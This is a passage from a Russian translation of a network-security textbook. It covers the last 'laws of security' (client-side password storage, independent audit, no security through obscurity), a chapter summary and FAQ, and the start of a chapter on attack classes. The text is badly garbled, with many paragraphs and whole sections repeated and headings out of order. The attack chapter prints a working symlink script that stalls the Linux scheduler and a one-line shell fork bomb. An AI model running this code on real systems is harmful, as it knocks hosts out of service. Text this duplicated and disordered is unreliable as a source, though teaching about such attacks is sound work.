В любом случае, если действительно украдены правильный файл или файлы, то у злоумышленника есть все для определения вашего пароля даже без попытки использовать его. Если это простое декодирование, то можно определить алгоритм с использованием эксперимента и догадки или дизассемблировать часть программы, реализующей этот алгоритм и определить его. На это может потребоваться время, но при известной настойчивости есть все для его определения. Затем ваш секрет может быть рассказан остальным, чтобы каждый смог это легко сделать.
Если программа действительно использует шифрование, то в случае кражи нужного файла или файлов и это не является гарантией безопасности. Ведь если программа может расшифровать пароль, а все действия злоумышленника по его раскодировке ни к чему не привели, то ясно, что программа где-нибудь должна хранить ключ расшифровки. Злоумышленнику следует только удостовериться в том, что файл ключа расшифровки тоже украден.
Разве программа не могла потребовать, чтобы законный пользователь помнил ключ расшифровки? Могла, но тогда почему пароль клиента запоминается в первую очередь? Только для того, чтобы пользователь не вводил пароль постоянно.
Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна пройти независимый аудит безопасности
Закон 11. Безопасность нельзя обеспечить покровом тайны
Резюме
Конспект
· Законы нужно знать для того, чтобы сделать систему более безопасной.
· Помните, что законы изменяются.
· У пользователя всегда есть возможности для взлома системы защиты, потому что у него физический доступ к компьютеру.
· Если у злоумышленника достаточно времени и ресурсов, то безопасность клиентской части невозможна.
· Вы можете обмениваться общими секретными ключами (shared private keys) или использовать протокол безопасных соединений SSL при работе с браузером.
· Обмен ключами уязвим к атаке типа MITM (злоумышленник посередине (MITM).
· Программное обеспечение обнаружения вирусов и Троянских коней основано на исследовании сигнатуры файлов.
· Незначительные изменения в коде сигнатуры приводят к необнаружению измененного кода до момента выпуска следующего файла сигнатуры.
· Злоумышленники могут использовать сжатие, шифрование и пароли для изменения сигнатуры кода.
· Нельзя защититься от каждой возможной модификации.
· Главная функция межсетевых экранов состоит в фильтрации входных и выходных пакетов.
· Успешные атаки возможны в результате ошибочных правил, несовершенной политики безопасности и проблем с обслуживанием межсетевых экранов.
· Для злоумышленника трудно обнаружить присутствие системы обнаружения вторжения.
· Эффективность системы обнаружения вторжения снижается в результате неверной конфигурации и недостатков обслуживания.
· Большинство криптографических средств не подвергаются достаточному исследованию и тестированию до начала использования.
· Единые алгоритмы используются в различных областях. Взломать их трудно, хотя и возможно.
· Шифрование используется, чтобы защитить результат кодирования. Если ключ не используется, то нельзя ничего зашифровать.
· Ключи должны храниться в тайне, иначе ни о какой безопасности не может быть и речи.
· Если пароль хранится в открытом виде (незашифрованным), то это небезопасно.
· Безопасное хранение паролей на компьютере клиента предполагает вторичный механизм обеспечения безопасности.
· Системы безопасности часто не анализируются должным образом, что ведет к их дефектам.
· Внешняя проверка имеет решающее значение для защиты; ее отсутствие – дополнительное условие для атаки злоумышленником.
· Необходима упреждающая защита.
· Использование только скрытия информации способствует компрометации.
Часто задаваемые вопросы
Глава 3
Введение
Обзор классов атак
Отказ в обслуживании
Если программа действительно использует шифрование, то в случае кражи нужного файла или файлов и это не является гарантией безопасности. Ведь если программа может расшифровать пароль, а все действия злоумышленника по его раскодировке ни к чему не привели, то ясно, что программа где-нибудь должна хранить ключ расшифровки. Злоумышленнику следует только удостовериться в том, что файл ключа расшифровки тоже украден.
Разве программа не могла потребовать, чтобы законный пользователь помнил ключ расшифровки? Могла, но тогда почему пароль клиента запоминается в первую очередь? Только для того, чтобы пользователь не вводил пароль постоянно.
Примечание
Этот закон используется в главе 6.
Приоткрывая завесу
Будьте бдительны!
Недавно усилился интерес к обсуждению совершенных атак для выяснения причин быстрого распространения злонамеренного программного кода и увеличения числа нападений. К счастью, большинство атак ориентировано на использование уже известных уязвимостей операционных систем и программ приложений. Например, в этом году многие атаки вируса Code Red и его модификаций были нацелены на уязвимости атакованных программных средств, известные в течение длительного времени. Грустно сознавать (и это смущает как с профессиональной, так и с личной точки зрения), что целый ряд сетевых администраторов и специалистов не смогли обеспечить работоспособность своих систем, своевременно исправляя найденные в них ошибки. Ни сколь угодно длительное обучение, ни подробная документация не сможет защитить ваши системы, если вы потеряете бдительность и перестанете поддерживать высокую квалификацию в области настройки своих систем.
Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна пройти независимый аудит безопасности
Писатели знают, что они не в состоянии качественно вычитать корректуру своей собственной работы. Программисты должны знать, что они не смогут протестировать на ошибки свои собственные программы. Большинство компаний, разрабатывающих программное обеспечение, понимая это, нанимают тестировщиков программного обеспечения. Они ищут ошибки в программах, которые препятствуют выполнению заявленных функций. Это называется функциональным тестированием.
Функциональное тестирование значительно отличается от тестирования безопасности, хотя на первый взгляд это близкие понятия. Оба тестирования ищут дефекты программ, правильно? И да, и нет. Тестирование безопасности требует гораздо более глубокого анализа программы и обычно включает экспертизу исходного кода программы. Функциональное тестирование проводится для гарантии того, что большой процент пользователей сможет эксплуатировать программу без жалоб. Защититься от среднего пользователя, случайно споткнувшегося на проблеме, намного легче, чем попытаться защититься от хорошо осведомленного хакера, пытающегося взломать программу любым доступным ему способом.
Даже без подробного обсуждения того, что собой представляет аудит безопасности, его необходимость очевидна. Сколько коммерческих средств подвергается проверке безопасности? Практически ни одно. Обычно даже те немногие, которые имеют хотя бы поверхностный обзор безопасности, считаются безопасными. Хотя позднее часто становится очевидным, что они не прошли должную проверку.
Заметьте, что этот закон содержит слово «начала». Аудит безопасности – только один шаг в процессе создания безопасных систем. Для того чтобы понять, что в защите систем программного обеспечения полно недостатков, достаточно лишь ознакомиться с архивами списка отчетов любой уязвимости. Более того, можно увидеть одни и те же ошибки, неоднократно допущенные различными производителями программного обеспечения. Ясно, что это относится к классу систем, не подвергавшихся аудиту даже в минимальном объеме.
Вероятно, OpenBSD представляет собой один из наиболее интересных примеров роли аудита в разработке более безопасной системы программного обеспечения. С самого начала в проекте OpenBSD, являющемся ответвлением от главного проекта NetBSD, было решено обратить особое внимание на вопросы безопасности. Команда разработчиков OpenBSD потратила пару лет, занимаясь аудитом исходного кода для поиска и устранения ошибок. Разработчики исправляли любые найденные ошибки независимо от того, относились они к безопасности или нет. При нахождении общей ошибки они возвращались назад и просматривали все исходные коды, чтобы убедиться в том, что подобная ошибка не была сделана где-нибудь еще.
В конечном результате OpenBSD часто считается одной из наиболее безопасных операционных систем. Часто, когда обнаруживается новая ошибка в операционных системах NetBSD или FreeBSD (другой вариант BSD систем), в аналогичных условиях признается неуязвимость OpenBSD. Иногда причиной подобной неуязвимости является решение выявленной в других системах проблемы (случайно) во время обычного процесса исправления всех ошибок. В других случаях недостаток системы защиты был ранее выявлен и устранен. И в этих случаях системы NetBSD и FreeBSD (если в их составе была та же самая часть программного кода) были уязвимы, потому что никто не просматривал базу данных новых исправлений ошибок в OpenBSD (все исправления в OpenBSD обнародованы).
Функциональное тестирование значительно отличается от тестирования безопасности, хотя на первый взгляд это близкие понятия. Оба тестирования ищут дефекты программ, правильно? И да, и нет. Тестирование безопасности требует гораздо более глубокого анализа программы и обычно включает экспертизу исходного кода программы. Функциональное тестирование проводится для гарантии того, что большой процент пользователей сможет эксплуатировать программу без жалоб. Защититься от среднего пользователя, случайно споткнувшегося на проблеме, намного легче, чем попытаться защититься от хорошо осведомленного хакера, пытающегося взломать программу любым доступным ему способом.
Даже без подробного обсуждения того, что собой представляет аудит безопасности, его необходимость очевидна. Сколько коммерческих средств подвергается проверке безопасности? Практически ни одно. Обычно даже те немногие, которые имеют хотя бы поверхностный обзор безопасности, считаются безопасными. Хотя позднее часто становится очевидным, что они не прошли должную проверку.
Заметьте, что этот закон содержит слово «начала». Аудит безопасности – только один шаг в процессе создания безопасных систем. Для того чтобы понять, что в защите систем программного обеспечения полно недостатков, достаточно лишь ознакомиться с архивами списка отчетов любой уязвимости. Более того, можно увидеть одни и те же ошибки, неоднократно допущенные различными производителями программного обеспечения. Ясно, что это относится к классу систем, не подвергавшихся аудиту даже в минимальном объеме.
Вероятно, OpenBSD представляет собой один из наиболее интересных примеров роли аудита в разработке более безопасной системы программного обеспечения. С самого начала в проекте OpenBSD, являющемся ответвлением от главного проекта NetBSD, было решено обратить особое внимание на вопросы безопасности. Команда разработчиков OpenBSD потратила пару лет, занимаясь аудитом исходного кода для поиска и устранения ошибок. Разработчики исправляли любые найденные ошибки независимо от того, относились они к безопасности или нет. При нахождении общей ошибки они возвращались назад и просматривали все исходные коды, чтобы убедиться в том, что подобная ошибка не была сделана где-нибудь еще.
В конечном результате OpenBSD часто считается одной из наиболее безопасных операционных систем. Часто, когда обнаруживается новая ошибка в операционных системах NetBSD или FreeBSD (другой вариант BSD систем), в аналогичных условиях признается неуязвимость OpenBSD. Иногда причиной подобной неуязвимости является решение выявленной в других системах проблемы (случайно) во время обычного процесса исправления всех ошибок. В других случаях недостаток системы защиты был ранее выявлен и устранен. И в этих случаях системы NetBSD и FreeBSD (если в их составе была та же самая часть программного кода) были уязвимы, потому что никто не просматривал базу данных новых исправлений ошибок в OpenBSD (все исправления в OpenBSD обнародованы).
Примечание
Этот закон используется в главах 4, 5, 8 и 9.
Закон 11. Безопасность нельзя обеспечить покровом тайны
В основе обеспечения безопасности покровом тайны (STO – «security through obscurity») лежит идея о том, что что-то безопасно только в силу своей неочевидности, отсутствия рекламы или интереса с чьей-либо стороны. Хорошим примером является новый Web-сервер. Предположим, что вы разрабатываете новый Web-сервер, доступный пользователям сети Интернет. Вы можете подумать, что поскольку вы еще не зарегистрировали имя службы имен доменов DNS и нет пока ссылок на новый Web-сервер, то можно отложить реализацию защитных мер компьютера до начала ввода в эксплуатацию Web-сервера.
Проблема заключается в том, что сканирование портов стало постоянным явлением в Интернете. В зависимости от вашей удачи обнаружение вашего Web-сервера, вероятнее всего, – вопрос нескольких дней или даже часов. Почему разрешено сканирование портов? В большинстве случаев сканирование портов вполне законно, и большинство Интернет-провайдеров ничего не будет предпринимать в ответ на ваше заявление о том, что у вас сканировали порты.
Что может произойти в результате сканирования портов? Огромное большинство систем и пакетов программ небезопасны после их установки на компьютер. Другими словами, если вы подключаетесь к Интернету, ваш компьютер может быть относительно легко взломан, если вы не предпримите активных действий по укреплению его безопасности. Большинство злоумышленников, сканирующих порты, ищут известные им уязвимости. Если они присущи вашей системе, то у злоумышленников найдется программа, которая скомпрометирует Web-сервер за секунды. Если удача сопутствует вам, вы обнаружите сканирование портов. Если нет, вы могли бы продолжать «защищать» хост и только позже выяснить, что злоумышленник оставил лазейку (backdoor), которую вы не смогли заблокировать, потому что к этому времени были скомпрометированы.
Хуже всего то, что в последнее время огромное количество «червей» стало постоянным атрибутом Интернета. Они постоянно занимаются сканированием, выискивая новые жертвы типа только что появившихся незащищенных Web-серверов. Даже когда черви настроены миролюбиво, любой хост в Интернете подвергается зондированию пару раз в день. А когда черви агрессивны, то всякий хост зондируется каждые несколько минут за время жизни необновленного Web-сервера. Не следует думать, что оставленная брешь в системе защиты или ее нестабильная работа не сулит никаких неприятностей только в силу вашего предположения о невозможности обнаружения этого кем-либо. Через минуту новая дырка в системе защиты будет обнаружена, а вы – беззащитны. Злоумышленнику нет необходимости проводить многочисленные исследования раньше срока, поэтому он терпеливо выжидает. Часто сведения о дефектах в защите программ разглашаются очень быстро, что приводит к атакам на уязвимости слабозащищенных систем.
Неопределенность освещения некоторых вещей не обязательно плоха. Просто вы не хотите делиться информацией больше, чем это нужно вам. Вы можете воспользоваться преимуществами «темной лошадки», но не слишком полагайтесь на это. Одновременно тщательно рассмотрите возможности разработки сервера, вплоть до предоставления общественности исходных текстов программ сервера, для того чтобы специалисты смогли проанализировать их и при необходимости исправить найденные ошибки. При этом будьте готовы к одной или двум итерациям работы над исправлением брешей в системе защиты, прежде чем программа станет безопасной.
В какой степени необходима секретность? Одна из проблем обеспечения безопасности путем умалчивания состоит в том, что не существует соглашения, что именно следует хранить в тайне и что может рассматриваться как действительная тайна. Например, является ли ваш пароль тайной или просто «умолчанием», вероятно, зависит от способа обращения с ним. Если вы положили клочок бумажки с записанным паролем под клавиатуру в надежде, что его никто не найдет, то именно это авторы и называют неработоспособностью засекреченной безопасности, или говорят просто «мрак». (Между прочим, авторы прежде всего там его и искали бы. В компании, где работал один из авторов, использовали стальные кабели с замками, чтобы прикрепить компьютеры к столам. Его часто вызывали для перемещения компьютеров, а пользователи не раз забывали необходимые меры предосторожности при работе с ключами. Автор искал ключи в следующей последовательности: держатель карандаша, под клавиатурой, верхний ящик стола. При поиске ключа у него были 50 %-ные шансы на успех.)
Размышления по этому поводу основаны на здравом смысле. Личное мнение авторов по этому поводу состоит в том, что нельзя обеспечить безопасность замалчиванием проблемы. Не имеет значения, говорите ли вы о ключе от дома под дверным ковриком или о 128-битном криптографическом ключе. Вопрос состоит в том, знает ли злоумышленник то, что ему нужно, сможет ли он раскрыть нужную ему информацию. Одна из причин, по которой вам следует прочесть книгу, заключается в конкретном изучении, что злоумышленник может сделать. Многие системы и сайты просуществовали длительное время под покровом секретности, укрепляя свою веру, что нет никаких оснований для нападения на них. Мы увидим, является ли их компрометация вопросом времени или нет.
Проблема заключается в том, что сканирование портов стало постоянным явлением в Интернете. В зависимости от вашей удачи обнаружение вашего Web-сервера, вероятнее всего, – вопрос нескольких дней или даже часов. Почему разрешено сканирование портов? В большинстве случаев сканирование портов вполне законно, и большинство Интернет-провайдеров ничего не будет предпринимать в ответ на ваше заявление о том, что у вас сканировали порты.
Что может произойти в результате сканирования портов? Огромное большинство систем и пакетов программ небезопасны после их установки на компьютер. Другими словами, если вы подключаетесь к Интернету, ваш компьютер может быть относительно легко взломан, если вы не предпримите активных действий по укреплению его безопасности. Большинство злоумышленников, сканирующих порты, ищут известные им уязвимости. Если они присущи вашей системе, то у злоумышленников найдется программа, которая скомпрометирует Web-сервер за секунды. Если удача сопутствует вам, вы обнаружите сканирование портов. Если нет, вы могли бы продолжать «защищать» хост и только позже выяснить, что злоумышленник оставил лазейку (backdoor), которую вы не смогли заблокировать, потому что к этому времени были скомпрометированы.
Хуже всего то, что в последнее время огромное количество «червей» стало постоянным атрибутом Интернета. Они постоянно занимаются сканированием, выискивая новые жертвы типа только что появившихся незащищенных Web-серверов. Даже когда черви настроены миролюбиво, любой хост в Интернете подвергается зондированию пару раз в день. А когда черви агрессивны, то всякий хост зондируется каждые несколько минут за время жизни необновленного Web-сервера. Не следует думать, что оставленная брешь в системе защиты или ее нестабильная работа не сулит никаких неприятностей только в силу вашего предположения о невозможности обнаружения этого кем-либо. Через минуту новая дырка в системе защиты будет обнаружена, а вы – беззащитны. Злоумышленнику нет необходимости проводить многочисленные исследования раньше срока, поэтому он терпеливо выжидает. Часто сведения о дефектах в защите программ разглашаются очень быстро, что приводит к атакам на уязвимости слабозащищенных систем.
Неопределенность освещения некоторых вещей не обязательно плоха. Просто вы не хотите делиться информацией больше, чем это нужно вам. Вы можете воспользоваться преимуществами «темной лошадки», но не слишком полагайтесь на это. Одновременно тщательно рассмотрите возможности разработки сервера, вплоть до предоставления общественности исходных текстов программ сервера, для того чтобы специалисты смогли проанализировать их и при необходимости исправить найденные ошибки. При этом будьте готовы к одной или двум итерациям работы над исправлением брешей в системе защиты, прежде чем программа станет безопасной.
В какой степени необходима секретность? Одна из проблем обеспечения безопасности путем умалчивания состоит в том, что не существует соглашения, что именно следует хранить в тайне и что может рассматриваться как действительная тайна. Например, является ли ваш пароль тайной или просто «умолчанием», вероятно, зависит от способа обращения с ним. Если вы положили клочок бумажки с записанным паролем под клавиатуру в надежде, что его никто не найдет, то именно это авторы и называют неработоспособностью засекреченной безопасности, или говорят просто «мрак». (Между прочим, авторы прежде всего там его и искали бы. В компании, где работал один из авторов, использовали стальные кабели с замками, чтобы прикрепить компьютеры к столам. Его часто вызывали для перемещения компьютеров, а пользователи не раз забывали необходимые меры предосторожности при работе с ключами. Автор искал ключи в следующей последовательности: держатель карандаша, под клавиатурой, верхний ящик стола. При поиске ключа у него были 50 %-ные шансы на успех.)
Размышления по этому поводу основаны на здравом смысле. Личное мнение авторов по этому поводу состоит в том, что нельзя обеспечить безопасность замалчиванием проблемы. Не имеет значения, говорите ли вы о ключе от дома под дверным ковриком или о 128-битном криптографическом ключе. Вопрос состоит в том, знает ли злоумышленник то, что ему нужно, сможет ли он раскрыть нужную ему информацию. Одна из причин, по которой вам следует прочесть книгу, заключается в конкретном изучении, что злоумышленник может сделать. Многие системы и сайты просуществовали длительное время под покровом секретности, укрепляя свою веру, что нет никаких оснований для нападения на них. Мы увидим, является ли их компрометация вопросом времени или нет.
Примечание
Этот закон используется в главах 4 и 5.
Резюме
В этой главе авторы попробовали предварительно познакомить читателя с основными законами безопасности, апробированными в ходе их систематического практического применения. По мере изучения книги авторы подробно остановятся на обсуждении упомянутых в этой главе законов. Авторы изучили множество тем из различных сфер деятельности, чтобы сформулировать законы безопасности, отражающие их взгляды на эти вопросы. Они в общих чертах осветили некоторые положения безопасности, которые, возможно, малоизвестны читателю. Это должно способствовать развитию новых взглядов на некоторые типы уязвимости сетей. Авторы рассмотрели основы криптографии, а также начали рассматривать межсетевые экраны, программы обнаружения вирусов и системы обнаружения вторжения и заодно модификацию программного кода для их обмана, аудит и вопросы обеспечения безопасности при помощи засекречивания. Как читатель смог убедиться, не все законы абсолютны. Скорее они определяют направление работ, проводимых в попытках определить необходимые меры по обеспечению безопасности. Все эти работы нуждаются в постоянной оценке и внимании, если действительно решается задача обезопасить системы от атак злоумышленника.
Конспект
Обзор законов безопасности
· Рассмотрены законы.· Законы нужно знать для того, чтобы сделать систему более безопасной.
· Помните, что законы изменяются.
Закон 1. Невозможно обеспечить безопасность клиентской части
· Безопасность клиентской части целиком определяется клиентом.· У пользователя всегда есть возможности для взлома системы защиты, потому что у него физический доступ к компьютеру.
· Если у злоумышленника достаточно времени и ресурсов, то безопасность клиентской части невозможна.
Закон 2. Нельзя организовать надежный обмен ключами шифрования без совместно используемой порции информации
· Общая информация используется для идентификации компьютеров до установления сетевого соединения.· Вы можете обмениваться общими секретными ключами (shared private keys) или использовать протокол безопасных соединений SSL при работе с браузером.
· Обмен ключами уязвим к атаке типа MITM (злоумышленник посередине (MITM).
Закон 3. От кода злоумышленника нельзя защититься на 100 %
· Программное обеспечение несовершенно.· Программное обеспечение обнаружения вирусов и Троянских коней основано на исследовании сигнатуры файлов.
· Незначительные изменения в коде сигнатуры приводят к необнаружению измененного кода до момента выпуска следующего файла сигнатуры.
Закон 4. Всегда может быть создана новая сигнатура кода, которая не будет восприниматься как угроза
· Злоумышленники могут быстро изменить характерные признаки или сигнатуру файла.· Злоумышленники могут использовать сжатие, шифрование и пароли для изменения сигнатуры кода.
· Нельзя защититься от каждой возможной модификации.
Закон 5. Межсетевые экраны не защищают на 100 % от атаки злоумышленника
· Межсетевые экраны – это программные или аппаратные, или программно-аппаратные средства ЭВМ.· Главная функция межсетевых экранов состоит в фильтрации входных и выходных пакетов.
· Успешные атаки возможны в результате ошибочных правил, несовершенной политики безопасности и проблем с обслуживанием межсетевых экранов.
Закон 6. От любой системы обнаружения атак можно уклониться
· Системы обнаружения вторжения – часто пассивные системы.· Для злоумышленника трудно обнаружить присутствие системы обнаружения вторжения.
· Эффективность системы обнаружения вторжения снижается в результате неверной конфигурации и недостатков обслуживания.
Закон 7. Тайна криптографических алгоритмов не гарантируется
· Хорошие криптографические алгоритмы обеспечивают высокую степень защиты.· Большинство криптографических средств не подвергаются достаточному исследованию и тестированию до начала использования.
· Единые алгоритмы используются в различных областях. Взломать их трудно, хотя и возможно.
Закон 8. Без ключа у вас не шифрование, а кодирование
· Этот закон универсален, не существует никаких исключений.· Шифрование используется, чтобы защитить результат кодирования. Если ключ не используется, то нельзя ничего зашифровать.
· Ключи должны храниться в тайне, иначе ни о какой безопасности не может быть и речи.
Закон 9. Пароли не могут надежно храниться у клиента, если только они не зашифрованы другим паролем
· Пароли, сохраненные на компьютере клиента, легко обнаружить.· Если пароль хранится в открытом виде (незашифрованным), то это небезопасно.
· Безопасное хранение паролей на компьютере клиента предполагает вторичный механизм обеспечения безопасности.
Закон 10. Для того чтобы система начала претендовать на статус защищенной, она должна проити независимый аудит безопасности
· Аудит – начало хорошего анализа систем безопасности.· Системы безопасности часто не анализируются должным образом, что ведет к их дефектам.
· Внешняя проверка имеет решающее значение для защиты; ее отсутствие – дополнительное условие для атаки злоумышленником.
Закон 11. Безопасность нельзя обеспечить покровом тайны
· Скрыть что-либо – не значит обеспечить безопасность этого.· Необходима упреждающая защита.
· Использование только скрытия информации способствует компрометации.
Часто задаваемые вопросы
Вопрос: Сколько усилий я должен приложить для применения рассмотренных законов безопасности к интересующей меня специфической системе?
Ответ: Если вы исследуете систему для определения степени ее безопасности, то вполне можете использовать законы непосредственно, предварительно оценив время, которое вы можете потратить на исследование. Если анализируемая система общедоступна, то в Интернете вы наверняка найдете примеры использования вашей системы. Вероятно, вам придется потратить достаточно времени на проверку законов безопасности. Если законы безопасности будут применяться для анализа уникальных систем, то время исследования может увеличиться.
Вопрос: В какой степени я буду защищен после самостоятельного исследования системы?
Ответ: Частично это зависит от приложенных вами усилий. Если вы потратили разумное количество времени, то, вероятно, вы выявили очевидные изъяны в системе защите. Это уже гарантия вашей защищенности, поскольку начинающие хакеры именно их и будут искать. Даже если вы стали целью талантливого злоумышленника, он все равно может начать с них, и первые неудачи могут отпугнуть его. Поскольку вы, вероятно, найдете еще что-то за время своего исследования и обнародуете свои результаты, то каждый будет знать о найденных изъянах в системе защиты. Имейте в виду, что вы защищены против того, о чем вы знаете, но не против того, чего не знаете. Поэтому лучше поднять тревогу по поводу обнаруженных изъянов. Тем более что их устранение может оказаться непосильной задачей для систем с недоступными исходными текстами программ.
Вопрос: Когда я нахожу брешь в системе защиты, что я должен сделать?
Ответ: Ваши действия подробно описаны в главе 18. У вас есть выбор: или обнародовать все сведения о найденной бреши, привлекая максимально возможное внимание производителя системы, или самому написать код по ее устранению, если это возможно.
Вопрос: Как я смогу пройти путь от констатации проблемы до ее решения?
Ответ: Многие из глав этой книги посвящены описанию «дыр» в системе защиты. Некоторые «дыры» очевидны, например кодирование пароля в приложении. Другие могут потребовать применения дизассемблирования и методов криптографического анализа. Даже если вы очень хороший специалист, всегда найдутся методы, алгоритмы или аппаратура вне вашей компетенции. Поэтому вам предстоит решить, хотите ли вы развить свои профессиональные навыки дальше или обратиться за помощью к эксперту.
Ответ: Если вы исследуете систему для определения степени ее безопасности, то вполне можете использовать законы непосредственно, предварительно оценив время, которое вы можете потратить на исследование. Если анализируемая система общедоступна, то в Интернете вы наверняка найдете примеры использования вашей системы. Вероятно, вам придется потратить достаточно времени на проверку законов безопасности. Если законы безопасности будут применяться для анализа уникальных систем, то время исследования может увеличиться.
Вопрос: В какой степени я буду защищен после самостоятельного исследования системы?
Ответ: Частично это зависит от приложенных вами усилий. Если вы потратили разумное количество времени, то, вероятно, вы выявили очевидные изъяны в системе защите. Это уже гарантия вашей защищенности, поскольку начинающие хакеры именно их и будут искать. Даже если вы стали целью талантливого злоумышленника, он все равно может начать с них, и первые неудачи могут отпугнуть его. Поскольку вы, вероятно, найдете еще что-то за время своего исследования и обнародуете свои результаты, то каждый будет знать о найденных изъянах в системе защиты. Имейте в виду, что вы защищены против того, о чем вы знаете, но не против того, чего не знаете. Поэтому лучше поднять тревогу по поводу обнаруженных изъянов. Тем более что их устранение может оказаться непосильной задачей для систем с недоступными исходными текстами программ.
Вопрос: Когда я нахожу брешь в системе защиты, что я должен сделать?
Ответ: Ваши действия подробно описаны в главе 18. У вас есть выбор: или обнародовать все сведения о найденной бреши, привлекая максимально возможное внимание производителя системы, или самому написать код по ее устранению, если это возможно.
Вопрос: Как я смогу пройти путь от констатации проблемы до ее решения?
Ответ: Многие из глав этой книги посвящены описанию «дыр» в системе защиты. Некоторые «дыры» очевидны, например кодирование пароля в приложении. Другие могут потребовать применения дизассемблирования и методов криптографического анализа. Даже если вы очень хороший специалист, всегда найдутся методы, алгоритмы или аппаратура вне вашей компетенции. Поэтому вам предстоит решить, хотите ли вы развить свои профессиональные навыки дальше или обратиться за помощью к эксперту.
Глава 3
Классы атак
В этой главе обсуждаются следующие темы:
• Обзор классов атак
• Методы тестирования уязвимостей
· Резюме
· Конспект
· Часто задаваемые вопросы
• Обзор классов атак
• Методы тестирования уязвимостей
· Резюме
· Конспект
· Часто задаваемые вопросы
Введение
Об опасности атаки судят по ущербу, который может быть нанесен скомпрометированной системе в результате нападения. Для домашнего пользователя худшее, что может произойти, – это стать жертвой атаки, приводящей к запуску программы злоумышленника на его компьютере. В то же время для компаний электронной коммерции опаснее атака, приводящая к отказу в обслуживании (DoS-атака, DoS – denial of service) или утечке информации, потому что она чревата более тяжкими последствиями. Любая уязвимость системы, которая может привести к компрометации, оценивается применительно к одному из известных классов атак. Зная сильные и слабые стороны класса атаки, можно предварительно оценить как его опасность, так и сложность защиты от него.
В этой главе рассматриваются классы атак, извлекаемая злоумышленником выгода из их осуществления и возможный ущерб, наносимый ими.
В этой главе рассматриваются классы атак, извлекаемая злоумышленником выгода из их осуществления и возможный ущерб, наносимый ими.
Обзор классов атак
Каждая атака принадлежит к определенному классу атак. Последствия атаки могут быть самыми различными: атакованная система может быть выведена из строя или удаленный злоумышленник сможет полностью контролировать ее. О последствиях атак речь пойдет в специальном разделе этой главы. Сначала рассмотрим классификацию атак, в основу которой положен наносимый ими ущерб.
Можно выделить семь классов атак, последствия которых отражают общие критерии оценки проблем безопасности:
• отказ в обслуживании (Denial of service);
• утечка информации;
• нарушения прав доступа к файлу;
• дезинформация;
• доступ к специальным файлам / базам данных;
• удаленное выполнение программ (Remote arbitrary code execution);
• расширение прав (Elevation of privileges).
Можно выделить семь классов атак, последствия которых отражают общие критерии оценки проблем безопасности:
• отказ в обслуживании (Denial of service);
• утечка информации;
• нарушения прав доступа к файлу;
• дезинформация;
• доступ к специальным файлам / базам данных;
• удаленное выполнение программ (Remote arbitrary code execution);
• расширение прав (Elevation of privileges).
Отказ в обслуживании
Что собой представляет атака, приводящая к отказу в обслуживании (DoS-атака)? О DoS-атаке говорят в том случае, когда в результате действий злоумышленника ресурс заблокирован или его функциональные возможности существенно ограничены. Другими словами, атака препятствует доступности ресурса его постоянным авторизованным пользователям. Атаки этого класса могут осуществляться как локально на автономной системе, так и удаленно через сеть. Они направлены на ограничение функциональных возможностей процессов, уменьшение объема запоминаемой информации, разрушение файлов. Подобные атаки преследуют цель сделать ресурс непригодным для работы или добиться завершения работы системы или процессов. Рассмотрим DoS-атаки подробнее.
Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).
Снижение функциональных возможностей процесса
По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.
Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=“”
I=0
while [ $I -lt $ELNUM ] ; do
P=$P“$EL”
I=$(($I+1))
done
ln -s “$P”l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:
($0 & $0 &)
Локальная DoS-атака
Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).
Снижение функциональных возможностей процесса
По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.
Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):
#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=“”
I=0
while [ $I -lt $ELNUM ] ; do
P=$P“$EL”
I=$(($I+1))
done
ln -s “$P”l$2 l$IND
}
#main program
if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi
ELNUM=$1
mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
